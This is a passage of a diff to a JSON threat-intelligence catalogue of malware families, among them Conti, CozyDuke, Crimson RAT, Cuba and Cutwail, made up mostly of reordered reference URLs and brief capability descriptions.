"https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/", + "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", + "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-evasive-by-nature/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://github.com/cdong1012/ContiUnpacker", + "https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/", + "https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65", + "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups", + "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", + "https://github.com/EmissarySpider/ransomware-descendants", + "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1", + "https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed", + "https://www.youtube.com/watch?v=cYx7sQRbjGA", + "https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", + "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://intel471.com/blog/conti-vs-monti-a-reinvention-or-just-a-simple-rebranding", + "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", + "https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html", + "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/", + "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.connectwise.com/resources/conti-profile", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf", + "https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", + "https://github.com/TheParmak/conti-leaks-englished", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", + "https://www.justice.gov/opa/pr/multiple-foreign-nationals-charged-connection-trickbot-malware-and-conti-ransomware", + "https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/", + "https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/", + "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/", "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", - "https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf" + "https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked", + "https://damonmccoy.com/papers/Ransomware_eCrime22.pdf", + "https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/", + "https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/", + "https://twitter.com/AltShiftPrtScn/status/1423188974298861571", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/", + "https://twitter.com/TheDFIRReport/status/1498642512935800833", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", + "https://www.youtube.com/watch?v=uORuVVQzZ0A", + "https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems", + "https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://www.prevailion.com/what-wicked-webs-we-unweave/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-conti", + "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", + "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.youtube.com/watch?v=hmaWy9QIC7c", + "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware", + "https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b", + "https://unit42.paloaltonetworks.com/conti-ransomware-gang/", + "https://cocomelonc.github.io/investigation/2022/04/11/malw-inv-conti-2.html", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://intel471.com/blog/conti-leaks-cybercrime-fire-team", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", + "https://lifars.com/wp-content/uploads/2021/10/ContiRansomware_Whitepaper.pdf" ], "synonyms": [], "type": [] @@ -19427,9 +20350,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee", + "https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", "https://content.fireeye.com/apt/rpt-apt38", - "https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", - "https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks" + "https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks" ], "synonyms": [ "WHITEOUT" @@ -19474,8 +20397,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot", "https://www.crowdstrike.com/blog/ecrime-ecosystem/", - "https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report_BosonSpider.pdf" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report_BosonSpider.pdf", + "https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/" ], "synonyms": [], "type": [] @@ -19488,9 +20411,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn", - "https://www.symantec.com/security-center/writeup/2018-021216-4405-99#technicaldescription", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "https://blog.talosintelligence.com/2019/01/fake-korean-job-posting.html", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "https://www.symantec.com/security-center/writeup/2018-021216-4405-99#technicaldescription", "https://blog.alyac.co.kr/2105", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/#atricle-content" ], @@ -19505,11 +20428,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell", - "http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware.html", - "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", + "http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware.html", "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", "http://malware.prevenity.com/2014/08/malware-info.html" ], "synonyms": [ @@ -19540,8 +20463,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke", - "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", - "https://www.cyfirma.com/outofband/cosmicduke-malware-analysis/" + "https://www.cyfirma.com/outofband/cosmicduke-malware-analysis/", + "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf" ], "synonyms": [], "type": [] @@ -19554,18 +20477,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx", - "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf", - "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", - "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", - "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", "https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html", + "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", "https://www.youtube.com/watch?v=1WfPlgtfWnQ", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf", "https://vblocalhost.com/uploads/VB2020-20.pdf", "https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", + "https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf", + "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf" ], "synonyms": [], "type": [] @@ -19619,8 +20542,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coviper", - "https://tccontre.blogspot.com/2020/04/covid19-malware-analysis-with-kill-mbr.html", - "https://decoded.avast.io/janrubin/coviper-locking-down-computers-during-lockdown/" + "https://decoded.avast.io/janrubin/coviper-locking-down-computers-during-lockdown/", + "https://tccontre.blogspot.com/2020/04/covid19-malware-analysis-with-kill-mbr.html" ], "synonyms": [], "type": [] @@ -19629,7 +20552,7 @@ "value": "CoViper" }, { - "description": "CozyDuke is not simply a malware toolset; rather, it is a modular malware platform formed around\r\na core backdoor component. This component can be instructed by the C&C server to download\r\nand execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array\r\nof functionality. Known CozyDuke modules include:\r\n• Command execution module for executing arbitrary Windows Command Prompt commands\r\n• Password stealer module\r\n• NT LAN Manager (NTLM) hash stealer module\r\n• System information gathering module\r\n• Screenshot module", + "description": "CozyDuke is not simply a malware toolset; rather, it is a modular malware platform formed around\r\na core backdoor component. This component can be instructed by the C&C server to download\r\nand execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array\r\nof functionality. Known CozyDuke modules include:\r\n\u2022 Command execution module for executing arbitrary Windows Command Prompt commands\r\n\u2022 Password stealer module\r\n\u2022 NT LAN Manager (NTLM) hash stealer module\r\n\u2022 System information gathering module\r\n\u2022 Screenshot module", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cozyduke", @@ -19677,10 +20600,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crat", - "https://mp.weixin.qq.com/s/2sV-DrleHiJMSpSCW0kAMg", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://suspected.tistory.com/269", "https://blog.talosintelligence.com/2020/11/crat-and-plugins.html", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://mp.weixin.qq.com/s/2sV-DrleHiJMSpSCW0kAMg", "https://www.secrss.com/articles/18635" ], "synonyms": [], @@ -19707,10 +20630,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.credomap", - "https://securityscorecard.com/research/apt28s-stealer-called-credomap", - "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", "https://cert.gov.ua/article/341128", + "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", + "https://securityscorecard.com/research/apt28s-stealer-called-credomap", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war" ], "synonyms": [], @@ -19771,43 +20694,44 @@ "value": "Crenufs" }, { - "description": "", + "description": "It was first discovered in 2017 and has since been used to attack organizations around the world. The malware is often distributed through phishing emails or by exploiting vulnerabilities in outdated security software. Once Crimson RAT is installed on a computer, it can be used to steal data, spy on users, and even take control of the infected computers.\r\n\r\nSome of the features of Crimson RAT include:\r\n\r\nRemote control of infected computers\r\nData theft, such as passwords, files, and emails\r\nUser spying\r\nTakeover of infected computers\r\nLocking of infected computers\r\nExtortion of payments", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crimson", - "https://securelist.com/transparent-tribe-part-2/98233/", - "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html", + "https://twitter.com/katechondic/status/1502206599166939137", "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", - "https://team-cymru.com/blog/2021/04/16/transparent-tribe-apt-infrastructure-mapping/", - "https://www.secrss.com/articles/24995", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/", - "https://s.tencent.com/research/report/669.html", - "https://www.4hou.com/posts/vLzM", - "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html", - "https://cybleinc.com/2021/04/30/transparent-tribe-operating-with-a-new-variant-of-crimson-rat/", - "https://mp.weixin.qq.com/s/ELYDvdMiiy4FZ3KpmAddZQ", - "https://labs.k7computing.com/index.php/transparent-tribe-targets-educational-institution/", - "https://twitter.com/teamcymru_S2/status/1501955802025836546", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://securelist.com/transparent-tribe-part-1/98127/", - "https://blog.yoroi.company/research/transparent-tribe-four-years-later", - "https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF", - "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html?m=1", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/IoCs_Investigating%20APT36%20or%20Earth%20Karkaddan%20Attack%20Chain%20and%20Malware%20Arsenal.rtf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://twitter.com/teamcymru/status/1351228309632385027", - "https://anchorednarratives.substack.com/p/trouble-in-asia-and-the-middle-east", - "https://team-cymru.com/blog/2021/07/02/transparent-tribe-apt-infrastructure-mapping-2/", - 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"https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Vulnerability-in-Fortigate-VPN-servers-is-exploited-in-Cring-ransomware-attacks-En.pdf", - "https://twitter.com/swisscom_csirt/status/1354052879158571008", - "https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728", + "https://twitter.com/swisscom_csirt/status/1354052879158571008", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Vulnerability-in-Fortigate-VPN-servers-is-exploited-in-Cring-ransomware-attacks-En.pdf", "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html" ], "synonyms": [], @@ -19866,20 +20790,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk", - "https://www.youtube.com/watch?v=8x-pGlWpIYI", - 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"https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-cuba-ransomware/", - "https://lab52.io/blog/cuba-ransomware-analysis/", - "https://www.mandiant.com/resources/unc2596-cuba-ransomware", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-threat-report-a-quick-primer-on-cuba-ransomware", - "https://www.ic3.gov/Media/News/2021/211203-2.pdf", - "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-335a-stopransomware-cuba-ransomware.pdf", - "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", - "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", - "https://blog.group-ib.com/hancitor-cuba-ransomware", - "https://www.fortinet.com/blog/threat-research/ransomware-roundup-gwisin-kriptor-cuba-and-more", - "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf", - "https://www.trendmicro.com/en_us/research/22/f/cuba-ransomware-group-s-new-variant-found-using-optimized-infect.html", - "https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis", - "https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/", "https://www.guidepointsecurity.com/blog/using-hindsight-to-close-a-cuba-cold-case/", - "https://www.it-connect.fr/le-ransomware-cuba-sen-prend-aux-serveurs-exchange/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-threat-report-a-quick-primer-on-cuba-ransomware", + "https://www.trendmicro.com/en_us/research/22/f/cuba-ransomware-group-s-new-variant-found-using-optimized-infect.html", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-gwisin-kriptor-cuba-and-more", + "https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis", + "https://www.mandiant.com/resources/unc2596-cuba-ransomware", + "https://www.ic3.gov/Media/News/2021/211203-2.pdf", + "https://blog.group-ib.com/hancitor-cuba-ransomware" ], "synonyms": [ "COLDDRAW" @@ -20327,9 +21266,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe", + "https://www.eff.org/deeplinks/2014/01/vietnamese-malware-gets-personal", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "http://blog.malwaremustdie.org/2014/08/another-country-sponsored-malware.html", - "https://www.eff.org/deeplinks/2014/01/vietnamese-malware-gets-personal" + "http://blog.malwaremustdie.org/2014/08/another-country-sponsored-malware.html" ], "synonyms": [], "type": [] @@ -20350,14 +21289,30 @@ "uuid": "64d40102-c296-4a85-9b9c-b3afb6d58e09", "value": "Cueisfry" }, + { + "description": "Potential Lazarus sample.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cur1_downloader", + "https://mp.weixin.qq.com/s/nnLqUBPX8xZ3hCr5u-iSjQ", + "https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html", + "https://twitter.com/RedDrip7/status/1595365451495706624", + "https://securelist.com/bluenoroff-methods-bypass-motw/108383/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cca4f240-ac69-437e-b02a-5483ebef5087", + "value": "Cur1Downloader" + }, { "description": "Profero describes this as a ransomware family using CryptoPP as library to enable file encryption with the Salsa20 algorithm and protecting the encryption keys with RSA2048.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.curator", "https://shared-public-reports.s3.eu-west-1.amazonaws.com/Secrets_behind_the_mysterious_ever101_ransomware.pdf", - "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/", - "https://seguranca-informatica.pt/analysis-of-the-sunnyday-ransomware/" + "https://seguranca-informatica.pt/analysis-of-the-sunnyday-ransomware/", + "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/" ], "synonyms": [ "Ever101", @@ -20381,15 +21336,28 @@ "uuid": "600a73bf-d699-4400-ac35-6aed4ae5e528", "value": "Cursed Murderer" }, + { + "description": "CustomerLoader is a .Net-based loader that drops more than 40 different malware families. It appeared in June 2023 and is being distributed via phishing, YouTube videos and malicious websites.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.customerloader", + "https://blog.sekoia.io/customerloader-a-new-malware-distributing-a-wide-variety-of-payloads/#h-c2-servers" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b002e530-38d5-48cf-90a9-5731871fae32", + "value": "CustomerLoader" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cutlet", + "http://www.vkremez.com/2017/12/lets-learn-cutlet-atm-malware-internals.html", "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", "https://explore.group-ib.com/htct/hi-tech_crime_2018", - "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", - "http://www.vkremez.com/2017/12/lets-learn-cutlet-atm-malware-internals.html" + "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html" ], "synonyms": [], "type": [] @@ -20402,20 +21370,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", - "https://darknetdiaries.com/episode/110/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "http://www.secureworks.com/research/threat-profiles/gold-essex", - "https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.mimecast.com/blog/how-to-slam-a-door-on-the-cutwail-botnet-enforce-dmarc/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://github.com/pan-unit42/tweets/blob/master/2020-09-07-Dridex-IOCs.txt", + "https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://darknetdiaries.com/episode/110/", "https://www.secureworks.com/research/threat-profiles/gold-essex", - 